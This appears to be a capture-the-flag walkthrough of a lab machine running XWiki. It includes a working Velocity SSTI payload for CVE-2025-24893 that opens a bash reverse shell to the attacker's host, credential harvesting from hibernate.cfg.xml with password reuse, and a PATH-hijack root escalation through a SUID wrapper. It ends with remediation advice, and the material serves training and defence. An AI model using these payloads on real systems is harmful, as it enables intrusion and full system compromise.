Recon
Two ports. XWiki on port 80 — the version in the page footer confirmed the CVE target.
$ nmap -sC -sV -oN nmap/initial 10.129.8.20 22/tcp open ssh OpenSSH 8.9p1 80/tcp open http Apache Tomcat / Jetty (XWiki)
$ echo "10.129.8.20 editor.htb" >> /etc/hosts $ curl -s http://editor.htb/xwiki/bin/view/Main/ | grep -i "version\|15\." XWiki 15.10.11
Enumeration
XWiki uses the Velocity templating engine for rendering wiki pages. CVE-2025-24893 is an SSTI vulnerability where user-controlled input in certain XWiki macros is passed to the Velocity engine without sandboxing, allowing arbitrary Java execution.
I registered an account on XWiki. The vulnerability is in the user profile "About" section — or via a wiki page with a {{velocity}} macro. The Velocity template engine in XWiki can load Java classes directly:
{{velocity}} macros in user-controlled content. The Velocity $class.forName() pattern can load java.lang.Runtime and execute OS commands as the XWiki service user.
Foothold
Created a new wiki page with a Velocity SSTI payload to trigger a reverse shell:
# Create wiki page with Velocity injection # Navigate to: Create → Blank Page → Source editor {{velocity}} #set($x='') #set($rt=$x.class.forName('java.lang.Runtime')) #set($m=$rt.getMethod('exec',$x.class.forName('[Ljava.lang.String;'))) #set($cmd=$m.invoke($rt.getMethod('getRuntime').invoke($null),['bash','-c','bash -i >& /dev/tcp/10.10.14.X/4444 0>&1'])) {{/velocity}}
$ nc -lvnp 4444 # Save the wiki page to trigger render connect to [10.10.14.X] from (UNKNOWN) [10.129.8.20] 39284 www-data@editor:/usr/local/xwiki$ id uid=33(www-data) gid=33(www-data)
Shell as www-data. Found local user dev — looked for credentials in XWiki configuration files:
www-data@editor:/usr/local/xwiki$ grep -r "password" /etc/xwiki/ 2>/dev/null /etc/xwiki/hibernate.cfg.xml:<property name="connection.password">xwikiDbPass2025!</property> www-data@editor:~$ su dev Password: xwikiDbPass2025! dev@editor:~$
Privilege Escalation
Found a custom SUID binary called ndsudo — a wrapper that allows running specific commands as root based on a config file. It invokes allowed commands by name without using an absolute path — meaning it relies on PATH resolution.
dev@editor:~$ find / -perm -4000 2>/dev/null | grep -v snap /usr/local/bin/ndsudo dev@editor:~$ /usr/local/bin/ndsudo --list Allowed commands: apt-get, systemctl
ndsudo runs apt-get or systemctl as root by resolving the binary via PATH. I created a malicious apt-get script in /tmp, prepended /tmp to PATH, and ran ndsudo:
dev@editor:~$ cat > /tmp/apt-get << 'EOF' #!/bin/bash /bin/bash -p EOF dev@editor:~$ chmod +x /tmp/apt-get dev@editor:~$ PATH=/tmp:$PATH /usr/local/bin/ndsudo apt-get root@editor:/home/dev# id uid=0(root) gid=0(root) groups=0(root)
Flags
Lessons Learned
- SSTI in wiki platforms is extremely common and consistently critical — any platform using a templating engine (Velocity, Jinja2, Twig, FreeMarker) for user-controlled content needs strict sandboxing or input filtering.
- XWiki's Velocity sandbox can be bypassed via Java reflection (
$class.forName()) — the sandbox must explicitly blocklist these reflection methods or use a more restrictive security policy. - Custom SUID wrappers (ndsudo) that resolve command names via PATH without absolute paths are exploitable via PATH hijacking — always use absolute paths in privileged wrappers.
- Application configuration files (hibernate.cfg.xml, application.properties) contain database passwords that are frequently reused as local system passwords.
{{velocity}} macro for regular users in XWiki, or enforce strict Velocity sandboxing that blocks Java class loading. Custom SUID/sudo wrappers must use absolute paths for all invoked commands. Keep XWiki patched — CVE-2025-24893 is fixed in 15.10.12+.